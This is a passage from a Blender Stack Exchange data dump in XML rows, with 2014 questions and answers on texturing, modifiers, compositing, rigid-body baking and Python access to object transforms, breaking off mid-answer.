  <row Id="7553" PostTypeId="1" AcceptedAnswerId="7594" CreationDate="2014-03-06T02:19:44.263" Score="7" ViewCount="7609" Body="&lt;p&gt;I created a terrain in blender. I have on it a base layer. The base layer comprised of two textures. These are a dirt and rock texture mixed together using another texture as a mask. On top of this texture I would like to create a road. I have another mask texture for the road. I am using tiling textures for the base layer, only the masks are non-tiling: they take up the entire UV space. The road also must be tiling somehow, I cannot create a 32k texture. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qQCRJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I have a tiling road texture follow a path so that it looks like an actual road? This is an example of a tiling road that correctly follow a path. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CKW47.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://www.pasteall.org/blend/27330&quot; rel=&quot;noreferrer&quot;&gt;blend file&lt;/a&gt;&lt;/strong&gt; textures are packed and set up is clear&lt;/p&gt;&#xA;" OwnerUserId="1476" LastEditorUserId="12" LastEditDate="2014-03-06T03:30:19.120" LastActivityDate="2014-03-09T03:49:16.893" Title="Create a road along large terrain" Tags="&lt;texturing&gt;&lt;workflow&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="7554" PostTypeId="1" AcceptedAnswerId="7556" CreationDate="2014-03-06T06:10:04.993" Score="3" ViewCount="133" Body="&lt;p&gt;I'm trying to (re)learn python scripting with Blender for a project I'm working on. It's made leaps and bounds in progress since I used it last, especially with the display of API commands in the pull down window.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, the best documentation I can find on it is &lt;a href=&quot;https://blender.stackexchange.com/questions/6409/repetitive-tasks-using-python/6410#6410&quot;&gt;here&lt;/a&gt;. From playing around with the text, it seems to have the ability to select lines (right click), and to copy them (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt;), and nothing else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, I understand it isn't meant to do much, but are there any other shortcuts or tricks for using it? Particularly copying text, selecting lines one at a time gets old pretty quick.&lt;/p&gt;&#xA;" OwnerUserId="2699" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.843" LastActivityDate="2014-03-06T17:25:42.153" Title="Using header window to explore python" Tags="&lt;python&gt;&lt;interface&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7555" PostTypeId="2" ParentId="7550" CreationDate="2014-03-06T07:00:46.950" Score="3" Body="&lt;p&gt;If I disabled Visual Keying under Editing in User Preferences, problem was solved.&lt;/p&gt;&#xA;" OwnerUserId="1910" LastActivityDate="2014-03-06T07:00:46.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7556" PostTypeId="2" ParentId="7554" CreationDate="2014-03-06T07:10:56.227" Score="3" Body="&lt;p&gt;As you said you have the right click mouse to select a line, you can select a block of line with &lt;kbd&gt;B&lt;/kbd&gt; then click and drag for select or middle mouse click and drag for un-select. And you can select and un-select all the line with &lt;kbd&gt;A&lt;/kbd&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can delete all selected lines by pressing &lt;kbd&gt;X&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I know, the only way to copy a line is &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My tip for selecting only one line is, if you have other lines selected, do &lt;kbd&gt;A&lt;/kbd&gt; for un-select all and then copy your line.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Last thing, for navigating you can use the middle mouse wheel but you can also use the middle mouse wheel click then click and drag.&lt;/p&gt;&#xA;" OwnerUserId="1151" LastEditorUserId="1363" LastEditDate="2014-03-06T17:24:21.507" LastActivityDate="2014-03-06T17:24:21.507" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7557" PostTypeId="2" ParentId="7551" CreationDate="2014-03-06T07:20:35.723" Score="0" Body="&lt;p&gt;You're looking for the Boolean Modifier, which will fuse two meshes when using the &quot;Union&quot; operation.&#xA;But if you want to have a perfectly clean mesh, I'd rather advise you to use the Array Modifier to scatter your object around an Empty and edit the object itself to finally achieve your ring.&lt;/p&gt;&#xA;" OwnerUserId="2103" LastActivityDate="2014-03-06T07:20:35.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7558" PostTypeId="2" ParentId="7551" CreationDate="2014-03-06T07:41:49.670" Score="2" Body="&lt;p&gt;Assuming you got something like that by &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Meshes/Editing/Duplicating/Spin&quot; rel=&quot;nofollow noreferrer&quot;&gt;spinning&lt;/a&gt; a cube (&lt;kbd&gt;Alt&lt;/kbd&gt;-&lt;kbd&gt;R&lt;/kbd&gt;):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CBgGH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could simply use a plane for spinning to avoid the issues:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/O7XIG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: Use &lt;kbd&gt;Shift&lt;/kbd&gt;-&lt;kbd&gt;D&lt;/kbd&gt; to remove duplicates and spin operator was invoked  in &lt;em&gt;Edit Mode&lt;/em&gt; (&lt;em&gt;Top Ortho View&lt;/em&gt;)&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-03-06T07:41:49.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7559" PostTypeId="1" AcceptedAnswerId="7561" CreationDate="2014-03-06T09:58:40.117" Score="3" ViewCount="1463" Body="&lt;p&gt;I have created a simulation using rigid bodies to create a nice pile of &quot;things&quot; that will be fairly realistic. Now I would like to save or bake these new positions and rotations from selected frame into object data. How can I accomplish that?&lt;/p&gt;&#xA;" OwnerUserId="1545" LastEditorUserId="2217" LastEditDate="2014-07-10T22:04:41.920" LastActivityDate="2014-07-10T22:04:41.920" Title="Baking rigid body transformations" Tags="&lt;objects&gt;&lt;physics&gt;&lt;rigid-body-simulation&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7560" PostTypeId="2" ParentId="7553" CreationDate="2014-03-06T11:23:38.470" Score="5" Body="&lt;p&gt;It can be done with &lt;strong&gt;Attribute&lt;/strong&gt; node, using another &lt;em&gt;Vector/UV coordinate&lt;/em&gt; to define the &quot;road path&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, for complicated meshs like this terrain, it will take quite a bit of work to unwrap a specific UV set for this node. Also ,the result is not very cleaned up:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fOCKF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a better UV set, you have to re-model the mesh and unwrap that part before doing so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YMvYd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Considering the complexity for such work, I personally recommend to assign different materials for the road and terrain area, which can be controlled better (although not very good for fading material boders).&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2014-03-09T03:49:16.893" LastActivityDate="2014-03-09T03:49:16.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7561" PostTypeId="2" ParentId="7559" CreationDate="2014-03-06T11:35:06.577" Score="4" Body="&lt;p&gt;You can press &lt;strong&gt;Bake To Keyframes&lt;/strong&gt; button in Rigid Body Tools panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9tdJB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastActivityDate="2014-03-06T11:35:06.577" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7562" PostTypeId="2" ParentId="7546" CreationDate="2014-03-06T11:50:32.860" Score="1" Body="&lt;p&gt;When setting up particle hair we normally configure a small number of hairs, then use children hairs that get created around each existing hair to fill out for the render.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The children hair settings have options that make them curl up or clump together around the parent hair. I think the bending and clumping you see is the children hairs being deformed by these settings after they are shown. Most likely this is because in particle edit mode you aren't showing any children, so when they show up in object mode they look much different. While in particle edit mode you can turn on the option to display children hairs. This is in the toolbar &lt;kbd&gt;T&lt;/kbd&gt; under Options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TvpNt.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For performance we normally only display a portion of the children hairs while grooming the hair, and use more hairs for a better final image. These options are found in the Children panel of the particle settings. Display is how many children we see in the 3dview, while Render is how many are used at final render stage. If you set these the same while grooming the hair you will see less change at render time. Once finished grooming you may want to turn Display back down to keep the 3dview responding.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NjUwC.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-03-06T11:50:32.860" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7563" PostTypeId="1" AcceptedAnswerId="7564" CreationDate="2014-03-06T14:56:36.347" Score="3" ViewCount="1341" Body="&lt;p&gt;I've managed to select the intersection edges of 2 given mesh objects, using Wiltor Jaworski's plugin (&lt;a href=&quot;http://airplanes3d.net/scripts-253_e.xml&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://airplanes3d.net/scripts-253_e.xml&lt;/a&gt;). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I couldn't find any reference as to how to get the (possible) intersection of more than 2 objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if I have 3 planes A, B and C that intersect in a given point, how can I select this point? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Z0DdF.png&quot; alt=&quot;Example&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2704" LastEditorUserId="1363" LastEditDate="2014-03-06T15:51:55.833" LastActivityDate="2014-03-06T21:56:13.830" Title="Intersection of more than 2 mesh objects" Tags="&lt;mesh&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7564" PostTypeId="2" ParentId="7563" CreationDate="2014-03-06T15:47:51.940" Score="4" Body="&lt;p&gt;There is a way to do this. It is not ideal, but it works and is also non-destructive. Select one of the meshes that is part of the intersection. Add a Boolean modifier to it, choose one of the other objects as the Object in the Boolean modifier. Copy that modifier and chose the other mesh as the Union Object this time. After yo do this there will be a vertex at the intersection &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Select one of the meshes, any will do (A)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a Boolean modifier to it:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Operation: Union&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Object: one of the other ones (B)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Copy the Boolean modifier&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Object: the other one (C)&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Optional: If you would like to use the intersection in edit mode to move around mesh components. If all you want to do is to get the intersection just add the empty&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;add an empty, plain axis will do fine&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;snap the empty to the intersection: Set the snapping type to vertex. The empty acts as a vertex in this case&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;in edit mode snap the geometry to the empty if you want to.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Note: You can delete the modifiers when you no longer need them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9wpeE.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" LastEditorUserId="1476" LastEditDate="2014-03-06T21:56:13.830" LastActivityDate="2014-03-06T21:56:13.830" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="7565" PostTypeId="2" ParentId="7563" CreationDate="2014-03-06T15:49:22.947" Score="2" Body="&lt;p&gt;You can take advantage of &lt;strong&gt;Boolean&lt;/strong&gt; modifier:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Adding a &lt;strong&gt;Boolean&lt;/strong&gt; modifier to Object A, Operation: Union, Target: B;&lt;/li&gt;&#xA;&lt;li&gt;Adding second &lt;strong&gt;Boolean&lt;/strong&gt; modifier to Object A, Operation: Union, Target: C.&lt;/li&gt;&#xA;&lt;li&gt;Apply both modifiers to find the point, or use another vertex or empty to snap on that intersection point.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VV3y5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2014-03-06T15:56:42.507" LastActivityDate="2014-03-06T15:56:42.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7566" PostTypeId="1" AcceptedAnswerId="7570" CreationDate="2014-03-06T15:52:43.520" Score="3" ViewCount="1176" Body="&lt;p&gt;What I want basically want to create is this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PD9RJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore I good some spheres on a plane and some lighting.&#xA;My problem is, that I want to have all the shadows and the reflections of the plane on the spheres, but I want the complete plane to be one color. So the plane shouldn't be affected by the light.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think there should be two solutions, which I both don't know how to do them:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Render a complete white plane which is not affected by light&lt;/li&gt;&#xA;&lt;li&gt;Render a transparent plane which is should receive shadows and affect the reflections of the spheres.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Has anyone an idea how to do one of this? (Number 2 would be better for me)&lt;/p&gt;&#xA;" OwnerUserId="2357" LastEditorUserId="2357" LastEditDate="2014-03-06T17:27:13.943" LastActivityDate="2014-03-06T18:52:26.427" Title="Just render shadows and reflections" Tags="&lt;rendering&gt;&lt;materials&gt;" AnswerCount="1" CommentCount="14" ContentLicense="CC BY-SA 3.0" />
  <row Id="7568" PostTypeId="2" ParentId="953" CreationDate="2014-03-06T16:46:29.587" Score="0" Body="&lt;p&gt;Exactly as @CoDEmanX says, you can do this, anywhere in your script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;@persistent&#xA;def your_scene_update_handler( dummy ):    # &amp;lt;--- yes, really type dummy here&#xA;    your_function()&#xA;&#xA;bpy.app.handlers.scene_update_post.append( your_scene_update_handler )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;More on this topic: &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_10/bpy.app.handlers.html&quot; rel=&quot;nofollow&quot;&gt;http://www.blender.org/documentation/blender_python_api_2_69_10/bpy.app.handlers.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1028" LastActivityDate="2014-03-06T16:46:29.587" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7569" PostTypeId="2" ParentId="7554" CreationDate="2014-03-06T17:01:44.300" Score="1" Body="&lt;p&gt;Playing around some more and I found how to list all the shortcuts, for any window.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Go to user preferences (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;U&lt;/kbd&gt;, or &lt;em&gt;File &gt; User Preferences&lt;/em&gt;).&lt;/li&gt;&#xA;&lt;li&gt;Click on the input tab.&lt;/li&gt;&#xA;&lt;li&gt;Options for each window are displayed, click on the arrow next to info.&lt;/li&gt;&#xA;&lt;li&gt;All the keyboard commands are shown, clicking on the arrow again gives options to change it.&#xA;The only shortcut not already stated is R, which replays the last action (seems to work as &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;R&lt;/kbd&gt; on my computer)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2699" LastEditorUserId="1363" LastEditDate="2014-03-06T17:23:47.563" LastActivityDate="2014-03-06T17:23:47.563" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7570" PostTypeId="2" ParentId="7566" CreationDate="2014-03-06T18:38:44.287" Score="3" Body="&lt;p&gt;You could use an Ambient Occlusion Shader for the plane. This will give the plane a constant color while still giving you the desired ambient shadows without the shadows from the light source. By default the Ambient Occlusion is pretty weak. We can use the compositor to make the Ambient Occlusion more prominent.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add an Ambient Occlusion Shader to the plane&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Enable the AO render pass&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QvrOU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the compositor:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;use the RGB Curves or a similar node to make the AO pass darker&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Invert: needed to properly control the factor input&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use the Multiply node to control the strength of the darkening&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Subtract: this is a Color -&gt; Mix node. This is the final output&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oaI8O.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;NOTE: you can use the &lt;em&gt;Distance&lt;/em&gt; parameter in the &lt;em&gt;World&lt;/em&gt; Panel to change the proximity in which Ambient Occlusion is shown.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;AO before vs. after compositing&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/G0Nuh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" LastEditorUserId="1476" LastEditDate="2014-03-06T18:52:26.427" LastActivityDate="2014-03-06T18:52:26.427" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7571" PostTypeId="1" CreationDate="2014-03-06T19:17:14.247" Score="4" ViewCount="829" Body="&lt;p&gt;Is there a way to control subdivision surfaces quality ?&lt;/p&gt;&#xA;&lt;p&gt;Specifically:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;If I need extra geometry, I add an edge loop, but this changes the curvature and I have to manually adjust all the new vertices and doing it manually is not good&#xA;(In 3ds max there is the command Flow Connect, but I don't know if it is good)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Given a boundary curve (for example lines in a blueprint) how do I put the interior vertices of the control polyhedron to get a &amp;quot;nice smooth&amp;quot; surface, where &amp;quot;nice smooth&amp;quot; maybe depends on the application (In 3ds max there is the Set Flow command, but I don't understand how it works yet)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If I want to force a surface to be convex or concave how do I have to proced&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerDisplayName="user1395" LastEditorDisplayName="user1395" LastEditDate="2020-09-22T00:26:35.660" LastActivityDate="2020-09-22T00:26:35.660" Title="Controlling subdivision surfaces quality" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="7572" PostTypeId="2" ParentId="6978" CreationDate="2014-03-06T23:56:29.640" Score="4" Body="&lt;h1&gt;Blender Internal&lt;/h1&gt;&#xA;&lt;p&gt;BI never had any kind of GPU rendering support, and as development on BI has stopped, probably never will.&lt;/p&gt;&#xA;&lt;h1&gt;Cycles&lt;/h1&gt;&#xA;&lt;p&gt;Cycles only supports cuda at the moment, due to &lt;a href=&quot;https://blender.stackexchange.com/q/452/599&quot;&gt;issues with amd/ati drivers&lt;/a&gt;. (also see the &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:2.6/Source/Render/Cycles/OpenCL&quot; rel=&quot;nofollow noreferrer&quot;&gt;wiki&lt;/a&gt;)&lt;/p&gt;&#xA;&lt;p&gt;However, there are some &lt;a href=&quot;http://www.blenderartists.org/forum/showthread.php?302079-Blender-Cycles-AMD-Opencl-It-s-possible-working-now&quot; rel=&quot;nofollow noreferrer&quot;&gt;experimental tests&lt;/a&gt; using the &amp;quot;leaked beta version of what might be AMD's next official drivers&amp;quot; which you &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?254521-A-good-news-for-AMD-ATI-Graphic-cards-owners&quot; rel=&quot;nofollow noreferrer&quot;&gt;may want to try&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-03-06T23:56:29.640" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7573" PostTypeId="1" AcceptedAnswerId="7574" CreationDate="2014-03-07T00:39:10.127" Score="2" ViewCount="6344" Body="&lt;p&gt;I'm using 2.69 Cycles and I have a plane on one render layer and a cube on a second render layer. Also, under Render -&gt; Film, I have Transparent selected so both layers have no background color.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want the final image to be the cube and the plane, but I can't figure out which nodes to use to do that. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I use a Mix node with Factor set to 0.5, the composited image only shows where the plane and cube visually overlap.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I get the final composite to show the full cube and the full plane?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the link to the blend file:&#xA;&lt;a href=&quot;https://drive.google.com/file/d/0B_yQeQQ8ImENSmZaOGJMaGhxczQ/edit?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://drive.google.com/file/d/0B_yQeQQ8ImENSmZaOGJMaGhxczQ/edit?usp=sharing&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here is my Compositing screen:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/OxxhG.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2173" LastEditorUserId="2217" LastEditDate="2014-05-07T13:58:50.257" LastActivityDate="2014-05-07T13:58:50.257" Title="How do I composite render layers in 2.69 using Cycles?" Tags="&lt;rendering&gt;&lt;nodes&gt;&lt;compositor&gt;&lt;render-layers&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7574" PostTypeId="2" ParentId="7573" CreationDate="2014-03-07T00:42:51.513" Score="5" Body="&lt;p&gt;Try using an &lt;em&gt;Alpha Over&lt;/em&gt; node (&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;&lt;em&gt;&gt;Add node &gt; Color &gt; Alpha Over&lt;/em&gt;):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/cN7cJ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/cN7cJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-03-07T00:42:51.513" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7575" PostTypeId="2" ParentId="7571" CreationDate="2014-03-07T03:02:41.520" Score="6" Body="&lt;p&gt;There are some methods to do so:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Using edge crease (&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;E&lt;/kbd&gt;);&lt;/li&gt;&#xA;&lt;li&gt;Adding suppport edge loops (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;R&lt;/kbd&gt;);&lt;/li&gt;&#xA;&lt;li&gt;Marking sharp edges (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;E&lt;/kbd&gt; &gt; Mark Sharp), then add a &lt;strong&gt;Solidify&lt;/strong&gt; modifier BEFORE &lt;strong&gt;Subsurf&lt;/strong&gt; modifier.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nasj7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each way has pros and cons, choose one or more to meet the needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The above is for shaping in modifier level. However, the resolution cannot be controlled in this level. You may consider to apply modifier first, then select all elements (or particular area) in &lt;strong&gt;Edit Mode&lt;/strong&gt;, &lt;kbd&gt;X&lt;/kbd&gt; &gt; Limited Dissolve, set the dissolve angle in &lt;kbd&gt;F6&lt;/kbd&gt; panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Tip:&lt;/strong&gt; To select faces that are co-planar or nearly co-planar, you can select one or more faces, &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;G&lt;/kbd&gt; &gt; Co-planar, tweak &lt;em&gt;Threshold&lt;/em&gt; in kbd&gt;F6 panel.&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2016-06-19T12:41:28.437" LastActivityDate="2016-06-19T12:41:28.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7576" PostTypeId="1" AcceptedAnswerId="7577" CreationDate="2014-03-07T03:30:24.313" Score="16" ViewCount="10074" Body="&lt;p&gt;How can I use a Python script to obtain the exact coordinates of an object? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have not been able to find out how to do this in the documentation.&lt;/p&gt;&#xA;" OwnerUserId="2695" LastEditorUserId="55" LastEditDate="2015-05-03T13:02:02.750" LastActivityDate="2016-05-10T07:55:56.220" Title="How can I use a Python script to get the transformation of an object?" Tags="&lt;python&gt;&lt;objects&gt;&lt;coordinates&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="7577" PostTypeId="2" ParentId="7576" CreationDate="2014-03-07T03:59:04.233" Score="22" Body="&lt;p&gt;&lt;strong&gt;Background:&lt;/strong&gt; The object location (in fact transformation - so location/scale/rotation) is defined by initial values which are used to calculate the final transformation.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;initial transform (as set by the user and possibly set by animation &lt;em&gt;FCurves&lt;/em&gt; and &lt;em&gt;Drivers&lt;/em&gt;).&lt;br&gt;&lt;em&gt;as a tool author, to manipulate data this is what you'll want to access typically&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;final transform (with parenting, constraints, and rigid body physics applied).&lt;br&gt;&lt;em&gt;when writing exporters or reading, typically this is what you will want to access since its whats displayed in the view (but you can't directly manipulate it)&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;To get the input location you can simply do:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;loc = bpy.context.object.location&lt;/code&gt;... or via its matrix&lt;br&gt;&lt;code&gt;bpy.context.object.matrix_local.to_translation()&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get the output transformation you can only do this by accessing the worldspace matrix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;loc = 